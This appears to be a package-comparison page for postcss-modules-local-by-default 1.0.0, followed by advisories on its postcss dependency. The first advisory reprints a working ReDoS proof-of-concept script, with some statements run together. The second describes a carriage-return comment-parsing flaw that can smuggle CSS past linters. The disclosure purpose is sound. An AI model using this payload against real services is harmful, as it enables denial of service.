PostCSS Modules Local By Default offers a streamlined approach to CSS Modules, automatically scoping class names locally unless explicitly declared as global. Examining versions 0.0.12 and 1.0.0 reveals key updates beneficial for developers. The primary difference resides in the postcss dependency. Version 0.0.12 relies on postcss version ^4.1.5, while version 1.0.0 upgrades this to ^5.0.4. This postcss upgrade is the most crucial point, because it unlocks new features, potential performance improvements, and bug fixes inherent in the newer major version of PostCSS itself. Developers upgrading should review PostCSS's own upgrade guides for compatibility.
While both versions utilize css-selector-tokenizer ^0.5.1, the change in PostCSS impacts the core functionality of how CSS is parsed and transformed. Other changes involve the devDependencies, with eslint moving from ^0.22.1 to ^1.5.0 and chokidar-cli changing from ^0.2.1 to ^1.0.1. These don't affect the plugin's runtime behavior. Both versions maintain the same core functionality: simplifying CSS Modules by defaulting to local scoping, reducing boilerplate, and improving CSS maintainability. Developers benefit from a cleaner syntax avoiding repetitive :local declarations. Both versions are MIT licensed, encouraging widespread adoption and modification. Choose version 1.0.0 for enhanced compatibility with modern PostCSS ecosystems.
All the vulnerabilities related to the version 1.0.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.